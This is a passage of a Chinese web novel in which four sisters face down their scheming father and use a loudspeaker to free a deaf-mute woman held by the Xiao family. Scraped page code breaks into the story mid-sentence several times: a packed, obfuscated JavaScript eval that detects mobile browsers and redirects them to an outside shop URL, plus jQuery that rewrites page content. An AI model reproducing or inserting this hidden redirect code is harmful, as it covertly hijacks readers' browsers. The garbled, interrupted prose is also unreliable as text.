闵红梅蹲下的瞬间,闵铁牛演戏演的更起劲了,没想到闵红梅并没有关心他,而是把手伸进他的腰间,摘掉了他裤腰带上的钥匙。 闵铁牛急了,也不装了,直接爬起来抢夺钥匙。 闵红梅也没打算霸占这把钥匙,她只是好奇,看看闵铁牛能装多久。 她松开钥匙末端的红绳,失望地垂下眼睑:“你这么会演戏,不去公社宣传组做事太可惜了。” 看到如今的大姐清醒又冷静,闵橙萱可算是彻底放心了。 她走上前来,冷冷地看着坐在地上的闵铁牛:“行了,别演戏了,你要是还想做你的中队长,就回去该干嘛干嘛,别来打扰我么。如果你不想,我们有的是证据,送你去坐牢。别的不说,光是你偷生产队的鱼——” “你有证据吗?你个不孝女!”闵铁牛气死了,爬起来就想扇一耳光。 叫闵橙萱直接躲了,她后退几步,拉开安全的距离:“别逼我,我手里可是有刀的。真闹起来,我不怕坐牢,大不了一命抵一命,只要能换大姐和两个妹妹安稳的生活,我就是跟你同归于尽也值了。” 闵铁牛愣在了原地,燥热的夏风一吹,他却打了个哆嗦。 他现在忽然无比痛恨他的中队长身份,想把这三个不孝女直接绑走,都要瞻前顾后,注意影响。 加之老四又找了个那样的婆家,他更是需要投鼠忌器,最终只能寄希望于那个女婿楚泽林,早死早超生。 等翠柳没了靠山,这三个大的也就不敢这么嚣张了。 他烦躁地点了根烟,抽完又接了一根,等到他彻底冷静下来了,这才爬了起来,拍了拍屁股上的灰,满心悲凉地往外走,走到门口,退回头看了眼:“后天天气预报说了有雨,到时候我带你们去找你们的妈。记得把汇款单带上。至于那三百多块钱,我就不计较了。” 计较了也拿不到,还是先把汇款单要回来吧。 这是他目前唯一可以争取的事情了。 闵铁牛走后,三姐妹把篱笆门修好,重新关上,又怕半夜有人闯进来,便拿扁担撑着点,又担心扁担倒了没有动静提醒他们,便在扁担的末端抵了个板凳,板凳上摆了一个碗,碗里放着一柄汤勺,这样扁担砸下来的时候,会砸到碗和汤勺,应该会有一点动静。 正忙着,门外有束手电光照了过来。 伴随着自行车的铃铛声,很快就逼近了门口。 三姐妹紧张得屏住了呼吸,闵橙萱更是举起了手里的菜刀,随时准备反击。 就在她们以为今晚还是逃不过一场搏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527546|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗的时候,门外传来了狗叫的声音,奶声奶气的,还挺凶。 狗叫之后,便是一声轻笑:“妈,你听,这小崽子还挺凶呢,也不知道会不会看门。” 这是崔六的声音。 “放心吧,她爸妈都凶得很,她也不会差的。”这是王露的声音。 姐妹三个紧绷的神经瞬间松弛了下来。 赶紧移开了挡门的东西,喜出望外地看向门外的婆媳俩。 崔六捏了把刹车,单脚点地,等王露抱着小狗下车。 看到三个姐姐正挤在门口迎接她,她忽然有点惭愧:“不好意思来晚了,你们没被坏人骚扰吧?” 比如闵铁牛什么的。 三个做姐姐的叫了声王阿姨好,齐刷刷摇了摇头,不想让新婚的小妹担心。 崔六却发现了篱笆门旁边的烟蒂,她俯身看了眼,下意识拿起手电照了照院子里,也有两根。 赶紧把车停好,问道:“闵铁牛来过了?” 三姐妹还是摇头,崔六生气了,把车停好,快步走近院子里,捡起烟屁股摸了摸:“骗我做什么?这烟屁股还有温度呢,人肯定刚走。” 好吧,既然瞒不过,闵红梅只好开口:“他没把我们怎么样,只是过来通知我们一声,说明天带我们去见妈妈。” “肯定是骗人的。”崔六把烟蒂捡起来,连着门口的那根,一起扔进了旁边的茅坑里。 转身接过王露手里的小狗,递给了闵红梅:“拿着,夜里有它看家护院,我还能放心一点。” 闵红梅接过小狗,笑道:“你呀,大喜的日子还操心这个做什么,没事的,我们都醒睡,夜里真有动静不会错过的。” “那不行。”崔六还是不放心,思来想去,转身问道,“妈,我有个不情之请。” 王露猜到了:“你是想让王轲住在这里,让你三个姐姐住到咱家西院去?” “行吗妈,我实在是放心不下。”崔六觉得这是目前最好的方案,那王轲刚调过来,公社那边还没给他安排好住处,最近他住在楚家西院的西房里面。 崔六跟楚泽林结婚,住在西院的东房。 其实这样本来就不太合适,毕竟崔六的丈夫是个植物人,而王轲却活蹦乱跳的。 两个血气方刚的男女,又没有血缘关系,就算有表嫂表弟的名义约束着,时间长了,也容易瓜田李下。 不如让王轲住在这里,一来不至于浪费了房租,二来,他也能更好的融入春江公社。 王露没意见,只是担心闵家三姐妹不愿意。 果然,没等她开口,闵橙萱直接扯了扯闵红梅的袖子,见闵红梅不开口,她才抢先发声:“不行,这样不好。翠柳刚结婚,就带着三个姐姐住进婆家,要被村里人戳脊梁骨的。” 闵金菊也认可这个方案:“对,这样很不合适。不如这样,我瞧着隔壁于大娘家里人少,还有空房间,不如让王轲住在她家,我们三个还住在这里。一来,翠柳可以放心,二来,免得瓜田里下,毕竟我们三个跟王轲都是未婚。” 王露怎么都行,反正她本来就有意介绍一个姑娘给她侄子,她还是让自己儿媳妇拿意见,便看了眼崔六。 崔六沉思片刻:“行,我们回去问问王轲,只要他没意见,那就让他住在你们隔壁。你们也问问隔壁的于大娘愿不愿意,房租好商量。” 31. 晒男人 隔壁于大娘家里只有她跟她丈夫住着,他们的孩子全都去了县里发展,不会回来了。 等到他们百年之后,这房子也要被生产队收走。 老两口在家实在寂寞,多个年轻人陪着也是好的。 所以王轲当天上午就搬了过来,房租一个月一块,闵橙萱一次性支付了半年的租金,半年之后再看情况。 王轲收拾完,得知房租已经给过了,赶紧来隔壁还钱。 此时闵红梅已经上班去了,闵橙萱跟崔六去了宅基地那边清理构树,只有闵金菊在家养伤。 顺便收拾收拾院子,做做饭,蔬菜都被两个姐姐提前摘干净洗好了,她的右手基本不用碰水。 正忙着,王轲进来了,闵金菊猜到他要做什么,笑着招呼道:“小王公安,你可别跟我提什么房租的事啊,我们家的事我可做不了主。” 王轲差点把她错认成闵橙萱,不过仔细一看,姐妹俩嘴角的痣是镜像的,而且两人的精气神也不一样。 闵橙萱不爱笑,生人勿近的态度明眼人都看得出来,她更像是一个蛰伏在灌木丛中的狩猎者。 闵金菊很爱笑,平易近人的态度让大家都如沐春风,她更像是一只活跃在林间枝头的小喜鹊。 两人有着一样的五官,相同的身材,却住着一冷一热两个灵魂。 可见人类真是这世上最最神奇的一个物种。 王轲不想占人家的便宜,从兜里掏了六块钱,捋平了叠好,趁着闵金菊炒菜的时候偷偷掀开了米缸的盖子,塞了进去。 闵金菊其实已经注意到了他的动作,不过她看得出来,这个小王公安有点难为情,既然这样,那不如每天带他的饭好了。 于是闵金菊叫住了他:“小王公安,等下。” 王轲的一条腿已经迈了出去,闻言回头诧异地看着她:“有事?” 闵金菊笑道:“以后你来这边吃吧,你工作忙,省点时间可以多做点事,至于我们这边,做三个人的饭跟做四个人的饭没什么区别,多个人还热闹呢。” 王轲很想拒绝,可是闵金菊的笑太灿烂了,像是春日里最明媚的暖阳,晃得人目眩神迷。 以至于她刚刚说的什么家里的事做不了主,都被他忽略了。 他的嘴巴不等他的脑子转过来,已经下意识开口:“好,谢谢。” 闵金菊笑着把菜翻炒两下,走过来掀开米缸:“呐,钱我收了,你要说话算数哦,要不然我就把钱还给你,你不收我就哭给你看。我可没有吓人哦,我很能哭的,真的。” 王轲没想到自己居然鬼使神差地就答应了这样的事情,回过神来已经来不及反悔了,只好脸红脖子粗地点点头:“好,谢谢。那从明天开始吧,今天我还在公社食堂吃。” “行。”闵金菊笑着擦了把汗,回到锅台前,继续炒菜,翻炒两下,再去灶膛旁边,弯腰塞两把秸秆进去,转身用湿毛巾擦擦手,继续炒菜。 王轲本来都打算走了,眼角余光注意到了她右手的纱布,还发现她是用左手炒菜的,赶紧过来帮忙:“你炒菜就行了,我来烧锅。” “这怎么好意思呢。”闵金菊一个人也忙得过来,只是有点辛苦而已,不碍事的。 王轲却坚持:“不行,我没看到就算了,看到了还装作没看到,那我成什么人了。” 闵金菊笑了:“行,谢谢了。井里我冰了西瓜,等会吃两块再走。” 王轲犹豫了片刻,对上她那明媚的笑容,还是不受控制地答应了。 很快,外头的姐妹三个都回来了。 崔六过来看了眼,见王轲也在,还挺开心的,都是年轻人,虽然男女有别,可是白天的时候一起做做饭吃吃西瓜没什么的。 她还要回去给楚泽林翻身擦洗,便拒绝了三个姐姐的邀请,独自回去了。 王轲看着她的背影远去,默默感慨了一句:“表嫂太不容易了,我表哥那种情况,我看了都没有信心。” 闵红梅心里也很悲观,但她还是笑着打起精神:“会好的。” 闵橙萱没有说话,径直去厨房盛饭端菜去了,王轲过来帮忙:“你身上都是泥,去冲个澡吧,金菊给你烧了洗澡水,在里面那口锅里。” “好。”闵橙萱也嫌弃自己一身的汗臭味。 去厨房旁边隔出来的洗澡间冲了冲,出来的时候,发现王轲已经走了。 闵橙萱在堂屋的八仙桌前坐下,端起饭碗,问道:“怎么没留小王公安吃顿饭。” “他去公社吃。”闵金菊指了指旁边塑料垃圾桶里的西瓜皮,“我给他切了两块西瓜。” 那就好,闵橙萱不想怠慢了客人,吃过饭,休息了半个小时,便去楚家等妹妹去。 * 崔六回到楚家,顾不上吃饭,先冲了个澡,去房间里给楚泽林喂饭,擦身体。 不然她身上太脏了。 天太热了,翻身必须翻得勤快一些,不然容易得褥疮。 好在系统商店提供了一种冰垫和一款护理精油,可以有效防止褥疮的产生,不过最少也要四个小时翻一次身。 崔六凌晨四点天刚擦亮就去宅基地忙碌了,忙到七点回来给楚泽林喂饭翻身擦洗,八点再去宅基地,中午十二点回来,正好卡着四个小时的间隔。 幸亏她力气大,要不然,光是抱着一个成年男人翻身,就是一个大工程。 王露进来了两次,看到儿媳妇一点都不费力,这才出去了。 没办法,她是当妈的,儿大避母。 隔着门帘,王露叮嘱道:“翠柳啊,妈给你留了一碗红烧肉,你忙完赶紧过来吃饭,以后早点回来,宅基地那边我叫淙林过去帮忙,你可别把身体累坏了。” “没事的妈,构树很难清理,我必须亲自动手才放心。我没回来的时候,你可以让淙林帮忙给泽林擦擦汗,抻抻胳膊蹬蹬腿。我也不叫他白忙,给他算工资就是了,反正他闲着也是闲着。” 王露也是这么说的,可是这个儿子现在满心怨恨,根本不听她劝。 只得应道:“那还是我来吧,擦擦汗还行,没什么不方便的。” “你有空吗?” “抽空回来半个小时没事的。” “行,等宅基地那边收拾好了,我就不这样两头跑了。对了妈,明天我得跟姐姐们出去一趟,你请半天假照顾一下泽林吧。” “行,你尽管去,家里有我。”王露很讲道理,毕竟找妈妈是件大事,但凡有点人性的人,都不会阻拦的。 崔六忙完出来的时候,浑身已经湿透了,冲了个澡才有胃口吃饭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531284|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 王露很是过意不去,提议道:“翠柳啊,妈给你钱,你请两个壮劳力去宅基地帮忙吧,这么下去你会累坏的。” “不用,我跟二姐两个人够了,请了壮劳力还要管人家的饭,更累。”现在这样很自由,有时间就去收拾,想回来就回来。 王露无奈,只好转身回了房间,让老楚去看看泽林那边需不需要帮忙再做点什么。 老楚去了西院东房,一进门就发现房间里大不一样了。 原本他只知道床换了,现在才发现,整个房间的布局都改了。 原来的家具全部挪到了西房,东房的全是儿媳妇的陪嫁,一个个新家具,摆得那叫一个整齐清爽。 地上也撒了石灰粉,夏天雨水多,可以防虫防潮,从环境上降低植物人生褥疮的可能。 前后窗户也全部开着,通风很好。 至于昏迷不醒的楚泽林,浑身被擦得干干净净,容易生痱子的腋窝、脖子、腿弯等部位,全部拍了痱子粉。 整个人看起来比以前气色好了一点。 这才两天,情况就有了明显的变化。 很显然,淙林对这个哥哥的照顾,远不如他嫂子用心,也许十分之一的耐心和细心都比不上。 老楚很是惭愧,也很感动,回到东院东房,擦了把泪:“老婆,咱这儿媳妇真好,放心吧,泽林会好的。” 王露却更加过意不去了:“翠柳这么累下去,身体会吃不消的,我想想办法,每天都给她留一碗肉吧。” 老楚想了想,准备豁出这张老脸:“天天留红烧肉也没这么多肉票,不如我去跟猪肉强说一声,让他每天留两根棒骨,熬了汤也很补人的。” “好,哪怕加点钱。”王露没意见,人心都是肉长的,儿媳妇这么用心照顾泽林,她这个当婆婆的,自然也要尽一尽心意。 正说着话,闵橙萱来了,她们姐妹租住的房子离楚家不远,骑车过来十几分钟。 姐妹俩合一辆车,车子是王露提供的,谁骑走谁去对方住处等人。 闵橙萱刚把车子停好,就看到妹妹搬了张藤椅出来,摆在了院子里的枇杷树树荫下,藤椅上还垫了一个奇怪的垫子。 闵橙萱意识到了什么,赶紧过来帮忙。 没想到,压根没有她出力的机会。 但见她这四肢纤细的妹妹,居然抱着一个大老爷们,就这么从屋里出来了。 脸不红气不喘的,很是轻松。 闵橙萱目瞪口呆,锯树砍树的时候,她就意识到了妹妹的体力不同寻常,没想到一百多斤的男人,也能被妹妹轻而易举地抱出来。 她只能帮忙摁着点藤椅,免得来回摇晃,不好放人。 崔六笑着道谢,俯身把楚泽林摆在她买来的冰垫上面,坐下后拿起蒲扇,一脚踩在藤椅下面的腿上,来回摇晃起来。 边晃边扇扇子。 盛夏的穿堂风从村前的运河扑过来,穿过堂屋,从后门蹿出去,向着村后的小河,一路狂奔。 崔六看了看时间:“晒半个小时出发,二姐,你去西房睡会儿吧。” “你去睡吧,我睡过了。”闵橙萱接过扇子,很想帮妹妹分担一二。 崔六却摇了摇头:“你去,我给你们准备了好东西在床上,去看看。” 32. 寻妈2 闵橙萱一脚迈进西院堂屋,守在东房门口的狗子便汪汪汪的叫唤起来,称职得很。 吓得闵橙萱赶紧退了出去,可别给她咬了。 崔六哭笑不得,只得过去把狗子牵了出来,拴在枇杷树下,跟它的主人一起乘乘凉,吹吹风,享受享受夏日午后独有的惬意。 河风送爽,在这里乘凉远比房间里舒服。 那楚淙林真是懒惰,从来没有把楚泽林这样抱出来透过气,想想楚泽林也是可怜。 还好翻身的工作相对比较简单,楚淙林在这方面没怎么怠慢,要不然楚泽林肯定早就长满了痱子和褥疮了。 崔六坐下,摸了摸趴在旁边喘气都狗子,给楚泽林打扇子。 很快身后传来匆忙的脚步声,闵橙萱拿着六条全新的连衣裙:“翠柳,你这都从哪儿弄来的?” “别问了二姐,我有我的渠道。”这是崔六在系统商店买的,不贵,一条才五十瓜币。 她这叫投桃报李,三个姐姐为了她结婚的事情,出钱出力,到处找人换票借票,这份情谊是千金不换的。 她目前能做的不多,也就在系统商店买点衣服和吃的给她们。 六条裙子一共两个款式,每个款式按照三个姐姐的身高体型,分成了两个尺码。 大姐从小承担了太多,生长发育的时候营养跟不上,所以大姐是最矮的,身高只有一米五六,要穿最小号。 二姐三姐是双生花,成长过程中吃的一样,干的活儿也大差不差,所以身高体型是一样的,不过她们因为有大姐的偏袒,吃的比大姐好一点,身高刚好一米六,穿M号。 说实在的,哪个女同志不爱美呢? 要不是闵铁牛那一家子吸血,她们姐妹四个早就可以打扮得漂漂亮亮的,而不是浑身补丁,跟许春燕的三个孩子一比,活脱脱就是没妈的四根野草。 可是闵橙萱过意不去,妹妹要照顾植物人,本就不容易,现在一口气买了六条裙子给她们,还不知道花了多少钱呢。 一时着急,拿着裙子对着崔六比划起来:“你起来让我看看,你能穿的话就自己留着。” 崔六笑着抬头:“我有,好几条呢。再说了,明天不是要去找妈妈吗?虽然我怀疑闵铁牛在骗我们,但也要体面一点不是?说不定菜场那个真是咱们的小姨,难道你们不想给小姨留个好印象吗?” 闵橙萱说不过她,只能蹲下,握住她的肩膀:“可是——” “二姐,相信我,我买这几条裙子不费劲的,真的。等我有空,还得给孙阿姨和孙婕送几条过去,人家帮了我们那么大的忙。”崔六还记着那对母女的好呢,只不过眼下太忙了。 闵橙萱还是很担心:“钱够用吗?” “我要说没花钱,你信吗?”崔六笑着抬手,把姐姐的刘海别到耳后,“等会到了小礼堂那边,我给你看个好东西。” 闵橙萱一头雾水,但她还是忍住了好奇,毕竟妹妹刚结婚,在婆家说话多少有点不方便。 她便收下了这六条裙子,问道:“西房衣柜里有没有什么衣服需要缝补的?” “没有,去休息吧,床头我放了个收音机,你要是睡不着就听听广播。”崔六懒洋洋的,树荫下面太惬意了,在这动不动就限电的时代,树下乘凉就是最好的降温措施。 闵橙萱睡不着,干脆去屋里抓了个小板凳出来,拿着收音机,坐在了旁边。 姐妹俩说说话,听听广播,时间很快就过去了。 崔六把楚泽林抱起来:“二姐,帮我把藤椅搬回去吧,准备出发。” 两人到了宅基地那边,崔六直接挑了个吃瓜红包分享给闵橙萱:“看到没有?这是许向北的瓜,他跟他老婆离婚另有隐情。你有机会弄清楚的话,就能得到吃瓜奖励。我给你们的裙子,就是吃瓜得来的。” 闵橙萱从没见过这么离奇的东西,她看着眼前飘着的红包,下意识伸手去摸,却摸了个空。 崔六笑着教她:“用意念点开它。点开后会看到吃瓜的概览,你把他离婚的真实原因搞清楚,提交吃瓜进度,就可以得到奖励了,右下角有个人形的简笔画,你点开,那是吃瓜群,目前群里只有我和你。” 闵橙萱对新鲜事物非常感兴趣,赶紧照着妹妹的提示研究了一下,她惊讶地发现,左上角还有个侧边栏,点开一看,瓜币余额0,吃瓜红包1,吃瓜状态:待跟进。 侧边栏下面还有个商店图标,点进去一看,里头摆满了商品。 商店旁边则是系统存储柜,一个一个格子整齐排列,好像她成了一个掌柜的,真滋味还挺美的。 闵橙萱惊讶极了,问道:“瓜币就是商店通用货币吗?直接用意念买就行了?” “对。”崔六笑着教她怎么用,“你把裙子丢进去看看。” 闵橙萱意念一动,自行车车篮里的六条裙子,全都飞进了系统存储柜里。 意念再动,裙子就全部飞到了她的怀里。 她简直不知道该说点什么才好,一脸兴奋地反复尝试着。 崔六笑着转身,砍树去了。 这东西太稀罕了,且让二姐震惊一会儿吧。 晚上回去,再给另外两个姐姐也分几个吃瓜红包,公社这么大,家长里短的狗血事那么多,她一个人也吃不完这么多瓜。 很快到了下午五点,姐妹俩结伴回去。 闵金菊已经做好了晚饭,就差大姐还没回来。 崔六担心楚泽林在家会出汗,还是先回去了,晚上再来。 回去给楚泽林擦洗身体,拍痱子粉,翻身,抻胳膊蹬腿…… 忙完吃完晚饭,崔六才赶去了姐姐们那里。 二话不说,拉着大姐和三姐一起加入了吃瓜红包群。 一时间,崔六的耳边全是惊叹声。 她给三姐分享的是前面侯晶的吃瓜红包,这女人天天出去约会,不知道又勾搭了哪个男人。 给大姐分享的是小何的吃瓜红包,小何最近不是一直给楚豆苗献殷勤吗,能不能成呢?不知道,可以追踪一下进展。 闵红梅研究完了这个红包,提醒道:“对了,我今天还遇到了小何,问我什么时候才能把工业券给他。” “明天吧。”崔六手里有券,因为婆婆把楚泽林的家底全都给她了。 包括每个月部队给他的粮票、布票、肉票、工业券等。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533337|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 七张工业券简直毫不费力。 这会儿有更重要的事情要做,崔六赶紧招呼三个姐姐,回碧云村把妈妈的照片挖出来,明天才有证据拆穿闵铁牛的谎言。 毕竟那个疑似小姨的女人,只是跟她们的妈妈长得像,对着照片总能找出不同。 倒是幸运,闵铁牛居然不在家,估计去许家蹭饭了,他不会做饭。 姐妹四个直接进了院子,挖开了树下埋着的铁盒子,拆开外面包着的油布,取出了里面的照片,由崔六保管。 夜里果然下起了大雨。 第二天,姐妹四个一早找人借了自行车,齐聚在院子里,等闵铁牛。 一直等到上午九点,闵铁牛才骑着自行车过来。 崔六很生气,质问道:“你拖到现在是什么意思?不想去就直说,别耽误我们时间!” 闵铁牛也是没办法,他的老婆孩子都被抓了,他要顾忌自己中队长的身份,以及楚家王家的影响力,不敢乱来,只得去公社给他那个女儿的朋友打了个电话。 等了半天,才等到了女儿颖颖的回电。 距离他上次求助才过去没多久,颖颖明显不耐烦了,态度很不客气。 闵铁牛脸上火辣辣的,却又硬气不起来,只好赔笑脸,说好话。 好不容易把人哄好了,他一提要求,又被骂了。 好在颖颖还是孝顺的,得知自己妈妈又被抓了,很生气,已经答应他会尽快处理这件事,让他不要再打电话了,等消息就行。 这会儿看到崔六这么生气,别说,闵铁牛的心里隐隐有些得意。 这蠢丫头还不知道自己的真实身份呢,甚至以为那个被他卖掉的女人是她自己的亲妈。 真是可怜又可悲。 闵铁牛嘴角噙着小人得志的笑:“急什么,我总得过去确认一下,万一人不在家,你们不是白跑一趟吗?走吧。” 崔六狐疑地盯着他:“你确定,你带我们去见的真的是我们的妈妈?” “那当然了。”闵铁牛信誓旦旦,压根不知道四姐妹的手里还有她们妈妈的照片。 崔六冷笑一声,问道:“如果你撒谎怎么办?” “怎么会呢?这种事我有必要撒谎吗?”闵铁牛还想继续糊弄下去。 崔六却拿出了纸笔:“写下来,如果你撒谎,你将主动去公社找小朱公安自首。” “自首?自首什么?我不明白你在说什么?”闵铁牛一时心虚,抬手打开了纸笔,不肯照做。 崔六非常笃定他在撒谎,她冷笑一声:“好,你不写,那就别想拿到你的汇款单。等会雨停了,我们姐妹四个就会照着汇款单的地址找过去,看看你的靠山到底是何方神圣!” 闵铁牛并不担心她们会找到颖颖,毕竟汇款单上的地址是假的。 但他不想被四个女儿看出来这里头的玄机,赶紧夺过纸笔写下承诺,保证帮她们姐妹找到亲妈,如果食言,保证主动找朱玉民自首。 崔六不动声色地跟三个姐姐交换了视线,那个汇款的人果然大有文章。 收起保证书,姐妹四个催促闵铁牛出发,迎着雨,迎着风,向县郊方向赶去。 33. 寻妈3 自打上次崔六来过一次,肖家就起了疑心。 一大家子开了个会,准备把丰雯嫁出去。 虽然丰雯是个聋哑人,这个年纪估计也没办法继续生育了,可是丰雯长得好看啊,人也勤快。 打不还口骂不还手的,既不用担心她去外面告状,也不怕家里有什么秘密被她知道,堪称完美奴仆。 找个有孩子的二婚男人就很不错。 不过,为了帮闵铁牛演一场戏,肖家暂时还没有行动。 总得把今天这场戏演完。 快到十一点的时候,闵家四姐妹终于来到了目的地,国营红星菜场。 家属院里小孩子多,骑车容易出事,所以进进出出的人大多都只推着车子。 四姐妹交换了眼神,看来闵铁牛是真的打算用小姨来冒充妈妈骗她们了。 这样也好,她们可以将计就计,邀请“妈妈”回家看看,毕竟老四结婚了,不是吗。 但是崔六不能进去,她上次来过,容易露馅儿。 便在路过菜场公厕的时候,佯装肚子疼,把自行车交给了闵金菊,转身搬救兵去了。 这个年头,只要是成规模的社会组织,都会安排人员专门负责有关妇女同志的工作。 崔六离在公厕里等了一会儿,联想他们父女四个走远了,这才出来,一路打听到了妇女主任的住处。 妇女主任李琴刚好从菜地回来做饭,了解完情况后,有些为难:“这事我们妇联已经上门做过好多次工作了,可是没办法,那个女同志是个聋哑人,我们又看不懂她比划什么,最后只能通过她的家人了解她的意愿,她不愿意走,你们不用白费力了。” 崔六不信,坚持道:“那是因为她的亲人都失散了,现在我们姐妹找过来了,就是要带她去享福的,她没道理不答应。再说了,肖家跟她到底什么关心,你们心知肚明,真要是哪天被人宣扬到了县里,你这妇女主任的差事估计也做不成了。” 李琴沉默了很久,最终还是妥协了:“好吧,我尽量过去做做工作。走吧。” “等等,你们公社有没有扬声器,帮我借一个。”崔六不信肖家会放人,只能让肖家好好出个风头了。 李琴大概猜到了她的想法,又犹豫了。 崔六不禁冷笑:“我爱人是副营长,如果你不怕我把这件事宣扬到部队去,那你继续袖手旁观好了。” 李琴不敢,这年头能在部队当军官的都不是一般人,她惹不起,赶紧带路:“有,跟我来。” 两人去广播站借走了扬声器,赶到肖家的时候,那丰雯正搂着闵红梅在哭。 闵红梅问她愿不愿意回去看看,她也听不见,只管呜呜啊啊的哭。 闵红梅终于意识到,这么下去是没办法沟通的,只能起身,指了指身后的两个妹妹,再指了指丰雯,最后做了一个双手合握,枕着睡觉的姿势。 丰雯居然看懂了,兴奋地点头,双手死死地攥着闵红梅的胳膊,想走。 肖家的人却一把将她扯了回去,这么任劳任怨的奴隶可不好找,就算找到了,也只能当个地位平等的保姆,要给工资不说,也不能随意打骂了。 肖家众人哪里舍得让她走,只管找借口,说家里的孙子辈还小,离不开人。 闵红梅气死了,差点沉不住气,拆穿他们的谎言。 闵橙萱一把将她扯了回来,摇了摇头,小不忍则乱大谋。 先看看老四干什么去了,反正她们就堵在肖家院子里,肖家的人本事再大,也没办法让丰雯凭空消失。 正僵持着,门外响起了扬声器滋啦滋啦的声音,调整好之后,是崔六的发言:“大家好!我是公社宣传干事!听说肖家买卖人口,让一个女人没名没分地给他们家生了四五个孩子,还得任劳任怨地给他们家当奴隶。现在可是新中国啊,居然还有这么泯灭人性的事情?不行,我今天非要来采访一下,写一篇新闻稿,投给省城日报。我倒要看看,这世上还有没有王法,有没有天理!” 这会儿家家户户都在做饭,正是人比较多,也比较有空的时候。 扬声器一响,立马惊动了周围邻居,不用做饭的全都跑了出来,很快就把肖家围得水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537704|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泄不通。 肖家众人急了,跑出来想要看看是那个女同志,这么胆大妄为,居然敢挑衅肖家的权威。 没想到崔六早有准备,她的头上包了个丝巾,只露出一双眼睛,继续慷慨激昂地控诉肖家的所作所为。 那闵铁牛听到崔六的声音,终于意识到自己上当了,可是现在说什么也晚了,当务之急就是开溜,减轻对他的影响,免得丢了中队长的肥差。 至于那个嚷嚷的“宣传干事”,他是压根不敢去揭发的,到时候肖家肯定怀疑他是故意的,跳进黄河也洗不清。 可惜外面围的人太多了,常规方式他出不去,只能装病,嚷嚷道:“哎呀,我肚子疼,快拉裤子上了,快让让啊,让让!” 等他好不容易钻了出去,公社民兵连的人来了。 崔六继续义愤填膺地宣扬肖家做的畜牲事,最后话锋一转:“大家看好了,我手里的是闵家姐妹们亲生母亲丰霈的照片。你们看看,是不是跟肖家这个女人长得特别特别像。我已经采访过闵家姐妹了,据说被肖家剥削虐待的这位,是她们的亲小姨!她们辛辛苦苦找了二十几年啊,可算是找到了她们的小姨!可是肖家的人居然不让她们团聚!人性何在?天理何在?国法何在!我已经撰写了新闻稿,如果肖家不放人,我一定会让肖家付出代价!” 那院子里的肖家人一听,简直心惊肉跳,只得黑着脸摆摆手,放丰雯走。 闵红梅赶紧冲了上去,挽住了丰雯的胳膊,闵橙萱把闵金菊也推了过去,她自己则抄个根棍子在手里,以防不测。 姐妹三个就这么互相配合,带着小姨离开了肖家。 而崔六,依旧蒙着脸,在那细数肖家违反了那些法律法规,践踏了多少人性的尊严。 等到肖家的人冲上来准备揍她时候,崔六扭头就跑,好在围观的人群多,给肖家的人制造了不小的障碍,崔六很快就跟肖家的人拉开了距离。 到了外面大马路上,三个姐姐还领着小姨在等她,她扭头便往相反的方向跑:“你们快走,我引开他们!别让小姨再回去受罪了!” 34. 寻妈4 肖家的人不傻,追到路口的时候分作了两路,一路追那个被带走的聋哑女人,一路追崔六。 考虑到闵家的住址是已知的,就算聋哑女人被带走,也不至于找不到人,所以肖家把主力放在了崔六这边。 年轻的力壮的,都去追这个捣乱的女人,也不知道是哪里来的不怕死的,居然敢挑衅肖家的权威,简直胆大包天。 要不是她把事情宣扬开了,真想弄死她算了。 可是现在,只能花钱收买,让她闭嘴。 要不然别人肯定怀疑是肖家下的黑手。 肖锡山的大儿子肖志远冲在最前面,嚷道:“同志,别走啊,都是自己人,有话好说!” 崔六在前面停下,回头看着那吭哧吭哧的年轻小伙子,心里满是鄙夷。 这大概是肖家最拿得出手的壮劳力了,结果这都跑不过她,简直废物一个。 崔六扬声道:“谁跟你是自己人?你想让我闭嘴,除非你拿更有价值的情报来换!” “更有价值的情报?”肖志远茫然地回头看了眼他老子,停下问道,“爸,我能跟她做交易吗?” 肖锡山年纪大了,跑不动,落后一百来米,上气不接下气地追过来,一听崔六的要求,更气了。 嚷道:“什么交易?我们家清清白白,没什么好交换的情报。” 